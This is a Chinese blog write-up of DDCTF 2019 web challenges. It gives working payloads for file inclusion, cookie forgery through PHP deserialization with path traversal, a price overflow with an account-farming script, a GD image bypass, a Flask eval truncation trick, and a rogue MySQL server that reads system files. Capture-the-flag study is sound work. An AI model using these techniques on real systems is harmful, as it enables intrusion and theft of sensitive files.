ddctf2019_writeup

滴~

題目url http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

感覺像是包含,先解碼一下參數(shù),然后發(fā)現(xiàn)是兩次base,變成了hex編碼,再decode就發(fā)現(xiàn)是flag.jpg,所以可以嘗試包含index.php,轉(zhuǎn)換之后的值是TmprMlJUWTBOalUzT0RKRk56QTJPRGN3,提交可獲得index.php源碼,然后發(fā)現(xiàn)讀出來的數(shù)據(jù)在圖片源中,提取解碼得到

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

然后根據(jù)去訪問csdn博客,發(fā)現(xiàn)一片swp的文章,然后嘗試之后發(fā)現(xiàn)沒有config.php等文件的swp,然后再去博客中看到.practice.txt.swp,嘗試一下不行,把點去掉,得到提示在f1ag!ddctf.php,然后根據(jù)前面的index.php中config會被替換成_,將f1agconfigddctf.php編碼提交,得到源碼

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}

?>

提交uid=&content=即可得到flag

WEB 簽到題

訪問提示:"抱歉,您沒有登陸權限,請獲取權限后訪問-----"

查看HTTP頭,發(fā)現(xiàn)設置了一個didictf_username,且為空,試了下root admin,發(fā)現(xiàn)是admin,然后改頭提交,提示:"您當前當前權限為管理員----請訪問:app/fL2XID2i0Cdh.php"

訪問之后得到源碼:


// url:app/Application.php

Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您當前當前權限為管理員----請訪問:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您沒有登陸權限,請獲取權限后訪問-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}





// url:app/Session.php



include 'Application.php';
class Session extends Application {

    //key建議為8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration          = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain              = '';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();

進行源碼審計:

有幾個點:

1. 獲取salt
    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }
2. 設置cookie
    $cookiedata = serialize($userdata);
    $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
    這里的$this->eancrykey就是上面獲取的
3.每次驗證cookie
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);
        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        // 反序列化data
        $session = unserialize($session);
4. 魔方函數(shù)
    private function sanitizepath($path) {
        $path = trim($path);
        $path=str_replace('../','',$path);
        $path=str_replace('..\\','',$path);
        return $path;
    }

    public function __destruct() {

        if(empty($this->path)) {
            exit();
        }else{
            $path = $this->sanitizepath($this->path);
            if(strlen($path) !== 18) {
                exit();
            }
            $this->response($data=file_get_contents($path),'Congratulations');
        }
        exit();
    }
結合上面的點可以知道,如果知道key.txt的內(nèi)容,cookie就可以讓自己偽造data,然后反序列化Session或者Application對象觸發(fā)__destruct從而讀取文件

5.獲取key.txt
        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }
這里考察的是sprintf的函數(shù),如果nickname是字符串,那么只會格式化第一次,第二次輪不到eancrykey,所以查詢下sprintf函數(shù)
sprintf ( string $format [, mixed $... ] ) : string
Returns a string produced according to the formatting string format.
The format string is composed of zero or more directives: ordinary characters (excluding %) that are copied directly to the result and conversion specifications, each of which results in fetching its own parameter.
意思就是第一個format是格式的意思,那憑直覺試nickname=%s,就可以打印出key.txt:EzblrbNS

接下來就是構造反序列化的參數(shù)了,將上面的Application.php代碼放到本地,然后在下面添加

$ddctf1 = new Application();

$ddctf1->path = '...\./config/flag.txt';

$a = serialize($ddctf1);
echo $a;

得到反序列字符串,再與EzblrbNS拼接,再得到它的md5值,然后將反序列字符串與md5值拼接,得到cookie,再urlencode,提交得到flag

image

大吉大利 今晚吃雞

題目提示:注冊用戶登陸系統(tǒng)并購買入場票據(jù),淘汰所有對手就能吃雞啦~

進入題目,是個登錄框,有注冊按鈕,按照題目提示,注冊然后登錄

image

點擊購買,購買門票之后在訂單列表中,有個價格2k的門票要支付,但是我只有100塊錢??!抓包看了下,價格是可以自己修改的。所以想了下,思路往競爭方向想,但是又沒有賣的,所以又往溢出的方向想,試了一下各種溢出的上限,發(fā)現(xiàn)是unsigned long,上限4294967295。所以 提交http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296,就可以0元購買了。然后進入殺雞界面

image

試了試去,就想出個注冊小號給大號殺,

腳本:

這里有個坑就是,服務器網(wǎng)絡不穩(wěn)定,然后注冊的id會隨機,所以,要跑很久。

import requests
import queue
import json
import time



base_url = 'http://117.51.147.155:5050/'
register_url = 'ctf/api/register?name={0}&password={1}'
login_url = 'ctf/api/login?name={}&password={}'
buy_url = 'ctf/api/buy_ticket?ticket_price=4294967296'
get_bill_info_url = 'ctf/api/search_bill_info'
pay_url = 'ctf/api/pay_ticket?bill_id={}'
# game main get the id and the ticket
ticket_url = 'ctf/api/search_ticket'
# remove url
remove_url = 'ctf/api/remove_robot?id={}&ticket={}'
password = '12345678'

# message queue
q = queue.Queue()

headers = {'Accept': 'text/html, application/xhtml+xml, image/jxr, */*',
               'Accept - Encoding':'gzip, deflate',
               'Accept-Language':'zh-Hans-CN, zh-Hans; q=0.5',
               'Connection':'Keep-Alive',
               'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063'
           }

def fuck_ticket(name):
    time.sleep(2)
    s = requests.Session()
    url = base_url + register_url
    name = 'wulasitea' + str(name)
    # 注冊
    url = url.format(name, password)
    s.get(url)
    print(name)
    # 登錄
    url = base_url + login_url
    url = url.format(name, password)
    # print(s.get(url).text + name)
    s.get(url)
    # 購票
    url = base_url + buy_url
    res = s.get(url)

    # bill_id
    url = base_url + get_bill_info_url
    try:
        bill_id = json.loads(s.get(url).text)['data'][0]['bill_id']
        # 支付
        url = base_url + pay_url
        url = url.format(bill_id)
        s.get(url)
        # print(s.get(url).text)
    except ValueError as e:
        pass
    except IndexError as e:
        pass
    # get the final data

    try:
        url = base_url + ticket_url
        content = json.loads(s.get(url).text)
        id = str(content['data'][0]['id'])
        ticket_id = content['data'][0]['ticket']
        #刪除
        name = 'h'
        url = base_url + login_url
        url = url.format(name, password)
        s.get(url)
        url = base_url + remove_url
        url = url.format(id, ticket_id)
        print(url)
        print(s.get(url, headers=headers).text)
        with open('C:/Users/97125/Desktop/1.txt', 'a') as f:
            f.write(id + ',' + ticket_id +'\n')
    except IndexError as e:
        print('error' + name)
    except json.decoder.JSONDecodeError as e:
        print('error' + name)

def cosumer_ticket():
    # 登錄
    s = requests.Session()
    name = 'h'
    url = base_url + login_url
    url = url.format(name, password)
    print(url)
    res1 = s.get(url)

    # tick_list = q.get()
    with open('C:/Users/97125/Desktop/1.txt', 'r') as f:
        for i in f.readlines():
            res = i.split(',')
            url = base_url + remove_url
            url = url.format(res[0], res[1])
            print(url)
            print(s.get(url).text)

def main():
    for i in range(300,500):
        fuck_ticket(i)
    cosumer_ticket()

if __name__ == '__main__':
    main()

最后跑滿100個不重復的id就可以吃雞了

uploadimg(未做出)

? 這題當時是無從下手,也沒想到要把上傳上去的圖片下下來看。看了大家的writeup和解析之后,自己動手慢慢fuzz了兩天晚上,終于知道是什么意思了。

? 一開始就是一個簡單的上傳圖片的界面,上傳之后提示

image

在嘗試通過burp增加phpinfo()之后無果。(假裝我當時做出來了)正常思路應該是把上傳的圖片下下來,然后查看hex,對比發(fā)現(xiàn)不一樣了,然后文件頭有gd-jpeg字樣。

查看hex

image

搜索一下,發(fā)現(xiàn)這是一個PHP的一個GD庫,渲染圖片用的。然后我再一搜,php GD漏洞,搜到

freebuf的文章

對比兩張經(jīng)過php-gd庫轉(zhuǎn)換過的gif圖片,如果其中存在相同之處,這就證明這部分圖片數(shù)據(jù)不會經(jīng)過轉(zhuǎn)換。然后我可以注入代碼到這部分圖片文件中,最終實現(xiàn)遠程代碼執(zhí)行

原理解釋在github上有。主要是

image

在Scan header正后方修改,后面添加的內(nèi)容就不會被修改了,注意一定是正后方,并且是已經(jīng)轉(zhuǎn)換過的一次。

然后在burpsuite我發(fā)現(xiàn)在

image

第二個wxzy后面的問號的后面的空格的后面,比較繞,看圖。直接添加,得到flag。

這題主要就是考察一個GD庫渲染的漏洞,通常還是要結合實際,比如上傳檢測的時候文件頭,然后又會做GD渲染。

homebrew event loop

這道題看了一天,還是沒做出來,實屬dd,看的自閉。

這題切入其實是一個python eval # 截斷,大概類似于注釋?,然后就可以突破去調(diào)用trigger_event函數(shù),再將購買五個和show_flag插入調(diào)用隊列中,不讓consume_point有機可乘。

下面就來講解這串代碼

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5af33f66147e857'


def FLAG():
    return 'FLAG_is_here_but_i_wont_show_you'  # censored


def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5: session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix) + len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack


class RollBackException: pass


def execute_event_loop():
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        event = request.event_queue[0]  # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')): continue
        for c in event:
            if c not in valid_event_chars: break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action + ';').split('#')
            try:
                action1 = action + ('_handler' if is_action else '_function')
                event_handler = eval(action1)
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None: resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None: resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp


@app.route(url_prefix + '/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()


# handlers/functions below --------------------------------------

def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html


def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':

        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'

        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&', '&amp;').replace('\t', '&nbsp;' * 4).replace(' ', '&nbsp;').replace('<',
                                                                                                              '&lt;').replace(
                    '>', '&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()

        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')


def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])


def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume: raise RollBackException()
    session['points'] -= point_to_consume


def show_flag_function(args):
    flag = args[0]
    # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'


def get_flag_handler(args):
    if session['num_items'] >= 5:
        trigger_event('func:show_flag;' + FLAG())  # show_flag_function has been disabled, no worries
    trigger_event('action:view;index')


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=5001)

首先這是一個flask框架寫的,入口在entry_point,它主要做的事是初始化然后調(diào)用trigger_event將提交的參數(shù)入隊到event_queue,然后調(diào)用execute_event_loop去消費event_queue里的東西。現(xiàn)在重點來看下execute_event_loop

def execute_event_loop():
    // 白名單
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        // 出隊
        event = request.event_queue[0]  # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        request.event_queue = request.event_queue[1:]
        // 如果不是以action fun開頭,則跳過循環(huán)
        if not event.startswith(('action:', 'func:')): continue
        // 白名單檢測
        for c in event:
            if c not in valid_event_chars: break
        else:
            // a開頭就是action,其它就是function
            is_action = event[0] == 'a'
            // 分割出action
            action = get_mid_str(event, ':', ';')
            // 分割出參數(shù)
            args = get_mid_str(event, action + ';').split('#')
            try:
                // 執(zhí)行函數(shù)
                action1 = action + ('_handler' if is_action else '_function')
                event_handler = eval(action1)
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None: resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None: resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp

看到這里,這個腳本本意是只讓你能控制調(diào)用的_handler和_function。

接下來看要如何得到flag

def get_flag_handler(args):
    if session['num_items'] >= 5:
        trigger_event('func:show_flag;' + FLAG())  # show_flag_function has been disabled, no worries
    trigger_event('action:view;index')

session['num_items'] >= 5

如何增加session['num_items']

def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])


def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume: raise RollBackException()
    session['points'] -= point_to_consume

buy_handler先是增加session['num_items'],但是隨后又把消耗session['num_items']的函數(shù)入隊列。而且python(好像)是沒有溢出的。

當時就覺得是這里是入手點,buy和cousume分開了。先是想的競爭,后面想了下,是單線程的。

所以需要想個辦法把這個女人,不對這兩函數(shù)分開,中間插個get_flag_handler,這樣就可以獲得flag了。

payload

?action:trigger_event%23;action:buy;5%23action:get_flag;

看下會發(fā)生什么

image

首先看action1=trigger_event#_handler,eval之后其實后面就被截斷、注釋掉了,所以就可以調(diào)用trigger_event,將buy和get_flag先入隊。最后flag就在session里,flask的session解密在P師傅

image

mysql弱口令(未做出)

這題流程還挺簡單的,感覺比吃雞還簡單,就是一個知識點。

出題人的預期的流程大概就是部署agent.py->修改返回的數(shù)據(jù)->構造惡意的mysql server讀取敏感文件

題目叫部署agent.py再進行掃描,那就部署到自己的服務器上,用的是python2

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 12/1/2019 2:58 PM
# @Author  : fz
# @Site    : 
# @File    : agent.py
# @Software: PyCharm

import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE


class RequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        request_path = self.path

        print("\n----- Request Start ----->\n")
        print("request_path :", request_path)
        print("self.headers :", self.headers)
        print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()

        result = self._func()
        self.wfile.write(json.dumps(result))


    def do_POST(self):
        request_path = self.path

        # print("\n----- Request Start ----->\n")
        print("request_path : %s", request_path)

        request_headers = self.headers
        content_length = request_headers.getheaders('content-length')
        length = int(content_length[0]) if content_length else 0

        # print("length :", length)

        print("request_headers : %s" % request_headers)
        print("content : %s" % self.rfile.read(length))
        # print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()
        result = self._func()
        self.wfile.write(json.dumps(result))

    def _func(self):
        netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
        netstat.wait()

        ps_list = netstat.stdout.readlines()
        result = []
        for item in ps_list[2:]:
            tmp = item.split()
            Local_Address = tmp[3]
            Process_name = tmp[6]
            tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
            result.append(tmp_dic)
        return result

    do_PUT = do_POST
    do_DELETE = do_GET


def main():
    port = 8123
    print('Listening on localhost:%s' % port)
    server = HTTPServer(('0.0.0.0', port), RequestHandler)
    server.serve_forever()


if __name__ == "__main__":
    parser = OptionParser()
    parser.usage = (
        "Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
        "Run:\n\n")
    (options, args) = parser.parse_args()

    main()

簡單的看了一下就是返回netstat -tpnl的內(nèi)容 主要是

'local_address': Local_Address, 'Process_name': Process_name

在題目界面輸入IP和端口,如果你確實開了mysql服務,它就會提示未掃出弱密碼,如果沒有開啟mysql或者未部署agent.py就會提示沒有開啟mysql。所以可以判斷它是根據(jù)agent.py返回做掃描判斷。fuzz了一下,發(fā)現(xiàn)是對Process_name判斷,有沒有mysqld。所以手動修改這行為

tmp_dic = {'local_address': Local_Address, 'Process_name': 'mysqld'}

然后再部署一個惡意的mysql服務器去讀靶機的敏感文件,/etc/passwd ~/.mysql_history /.bashrc等,其實是在/.mysql_history。

image

參考:原理腳本

值得一提的是,這個點也在下一周的國賽中用到了,可惜的是當時沒時間弄懂這次的,要不然國賽也可以得分,能穩(wěn)進決賽在在邊緣徘徊。

?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容